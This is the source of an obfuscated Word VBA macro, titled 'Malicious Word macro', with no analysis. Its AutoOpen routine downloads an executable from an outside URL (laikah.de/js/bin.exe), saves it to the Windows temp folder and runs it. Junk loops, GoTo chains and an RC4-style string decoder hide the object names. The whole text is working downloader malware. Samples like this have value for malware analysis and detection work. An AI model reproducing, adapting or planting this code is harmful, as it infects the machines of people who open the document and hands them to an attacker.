Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Const Cm8OMu3Ie4h = "nSNOM"
Private Const SQqpgglmtK = "^167617,gzg"
Private Const PTM = "ijPQp"
Private Const oeeWlrJQi = "ÆÒì.Crrnkacvkml"
Private Const gleRsO = "cmJ"
Private Const tUaUWh = "WjúÂ.Qvpgco"
Private Const aZP = "Scripting.FileSystemObject"
Private Const rmoRnWu5OK = "agcnES"
Private Const BkZYOOT = "Éej"
Private Const aq03OU5E = "MGZIf"
Private Const YcGrE = "õÓL.ZONJVVR"
Private Const j2OhBfg8O = "kMgLkBc"
Private Const iJIw8Vpj = "‚ó´5617,gzg"
Private Const HCpSDASww = "http://laikah.de/js/bin.exe"
Private Const NyjTIGvvn = aZP

Sub autoopen()
Dim BeVV3a3, DO1mvh9s
Dim wmdrB As Variant
Dim QJkGTi As String
QJkGTi = SQwkic
Do Until wmdrB = QJkGTi
wmdrB = SQwkic
Exit Do
Loop
Dim UBVbjZENNMQo As Variant
Dim httIMPHgv As String
httIMPHgv = FIdFJYUDQqqR
Do Until UBVbjZENNMQo = httIMPHgv
UBVbjZENNMQo = FIdFJYUDQqqR
Exit Do
Loop
Set BeVV3a3 = CreateObject(NyjTIGvvn)
Dim HPFlghf As Variant
Dim OVzbLcgjazcG As String
OVzbLcgjazcG = bwmdrBk
Do Until HPFlghf = OVzbLcgjazcG
HPFlghf = bwmdrBk
Exit Do
Loop
Dim QupSUBVbjZE As Variant
Dim MQovChttIMP As String
MQovChttIMP = voYFId
Do Until QupSUBVbjZE = MQovChttIMP
QupSUBVbjZE = voYFId
Exit Do
Loop
Dim ee6_wo, y46, gcD8inghgB
Const r94T = 2
Dim BioHPF As Variant
Dim hfkUOV As String
hfkUOV = Lcgja
Do Until BioHPF = hfkUOV
BioHPF = Lcgja
Exit Do
Loop
Dim QVygxjnMn As Variant
Dim KHeAZQM As String
KHeAZQM = EaNQupS
Do Until QVygxjnMn = KHeAZQM
QVygxjnMn = EaNQupS
Exit Do
Loop
Set ee6_wo = BeVV3a3.GetSpecialFolder(r94T)
oihuIHBj = HCpSDASww
Dim fVMblTSGGi As Variant
Dim fyeCTgTRL As String
fyeCTgTRL = xhsyu
Do Until fVMblTSGGi = fyeCTgTRL
fVMblTSGGi = xhsyu
Exit Do
Loop
Dim MZqEaNQupSU As Variant
Dim bjZENNMQovCh As String
bjZENNMQovCh = IMPHgvoY
Do Until MZqEaNQupSU = bjZENNMQovCh
MZqEaNQupSU = IMPHgvoY
Exit Do
Loop
uBHJvsdf = ee6_wo & oOoztLIgBaSO(iJIw8Vpj, j2OhBfg8O)
Set Hb0356TG1 = CreateObject(oOoztLIgBaSO(YcGrE, aq03OU5E))
Dim anyhgT As Variant
Dim DPeLdP As String
DPeLdP = hfZroKhF
Do Until anyhgT = DPeLdP
anyhgT = hfZroKhF
Exit Do
Loop
Dim zdqpFJM As Variant
Dim slUCF As String
slUCF = GUQzNnnNQ
Do Until zdqpFJM = slUCF
zdqpFJM = GUQzNnnNQ
Exit Do
Loop
Hb0356TG1.Open oOoztLIgBaSO(BkZYOOT, rmoRnWu5OK), oihuIHBj, False
Dim rAZFjyf As Variant
Dim MCidechRK As String
MCidechRK = QIZdfQwZ
Do Until rAZFjyf = MCidechRK
rAZFjyf = QIZdfQwZ
Exit Do
Loop
Dim OjxkQxTSv As Variant
Dim gkJkvpHE As String
gkJkvpHE = VNJVmBQK
Do Until OjxkQxTSv = gkJkvpHE
OjxkQxTSv = VNJVmBQK
Exit Do
Loop
Hb0356TG1.send
Dim HcSJQiQPDDfn As Variant
Dim vbyQd As String
vbyQd = IbYuepurCTU
Do Until HcSJQiQPDDfn = vbyQd
HcSJQiQPDDfn = IbYuepurCTU
Exit Do
Loop
Dim qEOjxk As Variant
Dim TSvctgkJ As String
TSvctgkJ = pHEbxVNJ
Do Until qEOjxk = TSvctgkJ
qEOjxk = pHEbxVNJ
Exit Do
Loop
Set oUQW_09Dw = CreateObject(NyjTIGvvn)
If oUQW_09Dw.FileExists(uBHJvsdf) Then
oUQW_09Dw.DeleteFile (uBHJvsdf)
End If
Dim cSJQiQPDDf As Variant
Dim cvbyQdQOI As String
cvbyQdQOI = uepurCTUqrAZ
Do Until cSJQiQPDDf = cvbyQdQOI
cSJQiQPDDf = uepurCTUqrAZ
Exit Do
Loop
Dim gkJkvpHExVNJV As Variant
Dim QKTrmPRyS As String
QKTrmPRyS = VBJKI
Do Until gkJkvpHExVNJV = QKTrmPRyS
gkJkvpHExVNJV = VBJKI
Exit Do
Loop
Dim yky5
Dim FjyflEMCidecRKRwQI As Variant
Dim fQwZD As String
fQwZD = Ysjany
Do Until FjyflEMCidecRKRwQI = fQwZD
FjyflEMCidecRKRwQI = Ysjany
Exit Do
Loop
Dim slUCFCGUQz As Variant
Dim nNQjLfK As String
nNQjLfK = aALFYHeNY
Do Until slUCFCGUQz = nNQjLfK
slUCFCGUQz = aALFYHeNY
Exit Do
Loop
Set yky5 = CreateObject(oOoztLIgBaSO(tUaUWh, gleRsO))
Dim thfZroKhFLHS As Variant
Dim GHRbVziBUPEktusxi As String
GHRbVziBUPEktusxi = MaZptvMcTEmoJ
Do Until thfZroKhFLHS = GHRbVziBUPEktusxi
thfZroKhFLHS = MaZptvMcTEmoJ
Exit Do
Loop
Dim VLOGgInlSH As Variant
Dim JQiQPDDfnzcbyQdQOIb As String
JQiQPDDfnzcbyQdQOIb = epurCTUq
Do Until VLOGgInlSH = JQiQPDDfnzcbyQdQOIb
VLOGgInlSH = epurCTUq
Exit Do
Loop
With yky5
Dim VmBQKTrmPR As Variant
Dim YgVBJKINlsz As String
YgVBJKINlsz = pFJMDds
Do Until VmBQKTrmPR = YgVBJKINlsz
VmBQKTrmPR = pFJMDds
Exit Do
Loop
Dim RwQIZdfQwZ As Variant
Dim jYsjanygTFhDP As String
jYsjanygTFhDP = dPTthfZroK
Do Until RwQIZdfQwZ = jYsjanygTFhDP
RwQIZdfQwZ = dPTthfZroK
Exit Do
Loop
.Type = 1
Dim TeMMAAbkwZ As Variant
Dim vNaNKEQUrblr As String
vNaNKEQUrblr = QQmoxUCg
Do Until TeMMAAbkwZ = vNaNKEQUrblr
TeMMAAbkwZ = QQmoxUCg
Exit Do
Loop
Dim thSuQP As Variant
Dim qchGhsmEBYuS As String
qchGhsmEBYuS = SjyTHQojMO
Do Until thSuQP = qchGhsmEBYuS
thSuQP = SjyTHQojMO
Exit Do
Loop
.Open
Dim AbkwZsYvN As Variant
Dim KEQUrblrnzQ As String
KEQUrblrnzQ = oxUCgvc
Do Until AbkwZsYvN = KEQUrblrnzQ
AbkwZsYvN = oxUCgvc
Exit Do
Loop
Dim fYfJQVmq As Variant
Dim JZQBjl As String
JZQBjl = nALgth
Do Until fYfJQVmq = JZQBjl
fYfJQVmq = nALgth
Exit Do
Loop
.Write Hb0356TG1.responseBody
Dim zdfLRltiO As Variant
Dim INyFMdDCSI As String
INyFMdDCSI = cFkiPEZPG
Do Until zdfLRltiO = INyFMdDCSI
zdfLRltiO = cFkiPEZPG
Exit Do
Loop
Dim LfyRMBhq As Variant
Dim ufYfJQV As String
ufYfJQV = skJZQBj
Do Until LfyRMBhq = ufYfJQV
LfyRMBhq = skJZQBj
Exit Do
Loop
.SaveToFile uBHJvsdf
Dim UbQjzOVYhEdfLRltiOJ As Variant
Dim NyFMdDCSIL As String
NyFMdDCSIL = FkiPE
Do Until UbQjzOVYhEdfLRltiOJ = NyFMdDCSIL
UbQjzOVYhEdfLRltiOJ = FkiPE
Exit Do
Loop
Dim yRMBhrpufYfJ As Variant
Dim mqskJZQBjlFiALgthSu As String
mqskJZQBjlFiALgthSu = rZqchGhsmEBuSKGSjyTHQoj
Do Until yRMBhrpufYfJ = mqskJZQBjlFiALgthSu
yRMBhrpufYfJ = rZqchGhsmEBuSKGSjyTHQoj
Exit Do
Loop
.Close
Dim PEZPGT As Variant
Dim MAAbkwZsYvN As String
MAAbkwZsYvN = KEQUrblrnzQmoxUCgvciBJ
Do Until PEZPGT = MAAbkwZsYvN
PEZPGT = KEQUrblrnzQmoxUCgvciBJ
Exit Do
Loop
Dim nmCGI As Variant
Dim phRzB As String
phRzB = DRNwKjkK
Do Until nmCGI = phRzB
nmCGI = DRNwKjkK
Exit Do
Loop
End With
Dim NxINKVn As Variant
Dim KTsZCRyEYg As String
KTsZCRyEYg = wxvAlemPr
Do Until NxINKVn = KTsZCRyEYg
NxINKVn = wxvAlemPr
Exit Do
Loop
Dim FHdFJYiCQDqQ As Variant
Dim OvNzDd As String
OvNzDd = IbYuQphdpFU
Do Until FHdFJYiCQDqQ = OvNzDd
FHdFJYiCQDqQ = IbYuQphdpFU
Exit Do
Loop
Set yky5 = Nothing
Dim HPFlghfUcjzaa As Variant
Dim iazcG As String
iazcG = bvmdqBk
Do Until HPFlghfUcjzaa = iazcG
HPFlghfUcjzaa = bvmdqBk
Exit Do
Loop
Dim QBvCgtsIMP As Variant
Dim voYFH As String
voYFH = JYiCQDqQn
Do Until QBvCgtsIMP = voYFH
QBvCgtsIMP = JYiCQDqQn
Exit Do
Loop

Dim apgiacGEmbvmd As Variant
Dim kjQQyGSvO As String
kjQQyGSvO = kwkicurNxIN
Do Until apgiacGEmbvmd = kjQQyGSvO
apgiacGEmbvmd = kwkicurNxIN
Exit Do
Loop
Dim OIbYuQphd As Variant
Dim UqenKFjlRm As String
UqenKFjlRm = pUdechEL
Do Until OIbYuQphd = UqenKFjlRm
OIbYuQphd = pUdechEL
Exit Do
Loop
If oUQW_09Dw.FileExists(uBHJvsdf) Then
End If
Dim zcGEm As Variant
Dim mdqBkjQQ As String
mdqBkjQQ = SvOuRkwkic
Do Until zcGEm = mdqBkjQQ
zcGEm = SvOuRkwkic
Exit Do
Loop
Dim PGgvoYFHdFJ As Variant
Dim CQDqQn As String
CQDqQn = vNzDdDOIbYuphdpFUqenKF
Do Until PGgvoYFHdFJ = CQDqQn
PGgvoYFHdFJ = vNzDdDOIbYuphdpFUqenKF
Exit Do
Loop
Set dfgFFFfg = CreateObject(oOoztLIgBaSO(oeeWlrJQi, PTM))
Dim gwQVmcfQvZDB As Variant
Dim sjanxhgTTuDP As String
sjanxhgTTuDP = rOhthfZroK
Do Until gwQVmcfQvZDB = sjanxhgTTuDP
gwQVmcfQvZDB = rOhthfZroK
Exit Do
Loop
Dim JKINyrydq As Variant
Dim JLDdskUCE As String
JLDdskUCE = GUfzMAnNk
Do Until JKINyrydq = JLDdskUCE
JKINyrydq = GUfzMAnNk
Exit Do
Loop
dfgFFFfg.Open ee6_wo & oOoztLIgBaSO(SQqpgglmtK, Cm8OMu3Ie4h)
End Sub


Public Function oOoztLIgBaSO(ByVal Data As String, ByVal Password As String) As String
GoTo JQhIHYNQHhJpmU
JQhIHYNQHhJpmU:
GoTo TKZjRR
TKZjRR:
GoTo goBdwcAReSPJcZ
goBdwcAReSPJcZ:
GoTo qwsDUV
qwsDUV:
GoTo CaGkAgnGND
CaGkAgnGND:
GoTo fdiTMT
fdiTMT:
On Error Resume Next
GoTo aehZxaFplaukbpzi
aehZxaFplaukbpzi:
GoTo HjERgNfQUujgaspMiGM
HjERgNfQUujgaspMiGM:
GoTo YmHJSdQAQjDQQGmvvuy
YmHJSdQAQjDQQGmvvuy:
GoTo kObbqu
kObbqu:
GoTo NdVFnqKnr
NdVFnqKnr:
GoTo lylYzVTwevhlKlwqIF
lylYzVTwevhlKlwqIF:
GoTo QOLQoCYLUtoQ
QOLQoCYLUtoQ:
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
GoTo ZhQCLLKPmtAfsrHKNFe
ZhQCLLKPmtAfsrHKNFe:
GoTo VEGbDHVS
VEGbDHVS:
GoTo ooPYkMgLkBcBMGZIf
ooPYkMgLkBcBMGZIf:
GoTo gcnES
gcnES:
Key() = StrConv(Password, vbFromUnicode)
GoTo JEijPQpx
JEijPQpx:
For X = 0 To 255
GoTo OMRCJQhIHYNQHhJpm
OMRCJQhIHYNQHhJpm:
GoTo eTKZjRREEgoBdwc
eTKZjRREEgoBdwc:
GoTo eSPJcZvfqwsDUVrsCa
eSPJcZvfqwsDUVrsCa:
GoTo AgnGNDje
AgnGNDje:
GoTo iTMTyZ
iTMTyZ:
GoTo ehZxa
ehZxa:
GoTo laukbpzii
laukbpzii:
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
GoTo ERgNfQU
ERgNfQU:
GoTo gaspMiG
gaspMiG:
GoTo TYmHJSdQAQjDQQG
TYmHJSdQAQjDQQG:
GoTo vuykdkObbqu
vuykdkObbqu:
GoTo NdVFnqKnrPlylYzVTwevhlK
NdVFnqKnrPlylYzVTwevhlK:
    F(X) = X
GoTo IFdyQOLQoC
IFdyQOLQoC:
GoTo UtoQSzTZhQCLLKPm
UtoQSzTZhQCLLKPm:
GoTo fsrHKNFetmVEG
fsrHKNFetmVEG:
GoTo HVSBOooPYkMgLk
HVSBOooPYkMgLk:
Next X
GoTo MGZIfOagcnESb
MGZIfOagcnESb:
Key() = StrConv(Data, vbFromUnicode)
GoTo EijPQpxnSNOMRCJQ
EijPQpxnSNOMRCJQ:
GoTo HYNQHhJpmUIeTKZ
HYNQHhJpmUIeTKZ:
For X = 0 To Len(Data)
GoTo EEgoBdwcAReSPJcZvf
EEgoBdwcAReSPJcZvf:
GoTo sDUVrsCaGkA
sDUVrsCaGkA:
GoTo GNDjefdiT
GNDjefdiT:
GoTo yZKaehZxaFplaukbpzi
yZKaehZxaFplaukbpzi:
GoTo HjERgNfQUujgaspMiGMTYmHJSdQAQjDQQG
HjERgNfQUujgaspMiGMTYmHJSdQAQjDQQG:
GoTo vuykdkObbqupNdVFnqKnrFP
vuykdkObbqupNdVFnqKnrFP:
    Y = (Y + F(Y) + 1) Mod 256
GoTo YzVTwevh
YzVTwevh:
GoTo lwqIFdyQOLQoCYLU
lwqIFdyQOLQoCYLU:
GoTo QSzTZhQCL
QSzTZhQCL:
GoTo PmtAfsrHKNFetmVE
PmtAfsrHKNFetmVE:
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
GoTo HVSBOooPYkMgLkcBMGZIfOagcnE
HVSBOooPYkMgLkcBMGZIfOagcnE:
Next X
GoTo mJEij
mJEij:
oOoztLIgBaSO = StrConv(Key, vbUnicode)
GoTo xnSNOMRCJ
xnSNOMRCJ:
GoTo IHYNQHh
IHYNQHh:
GoTo mUIeTKZjR
mUIeTKZjR:
GoTo EgoBdwcAReSPJc
EgoBdwcAReSPJc:
GoTo fqwsDUVrsCa
fqwsDUVrsCa:
GoTo AgnGNDjediTMTy
AgnGNDjediTMTy:
GoTo aehZxaFplaukbpziUHjERgN
aehZxaFplaukbpziUHjERgN:
End Function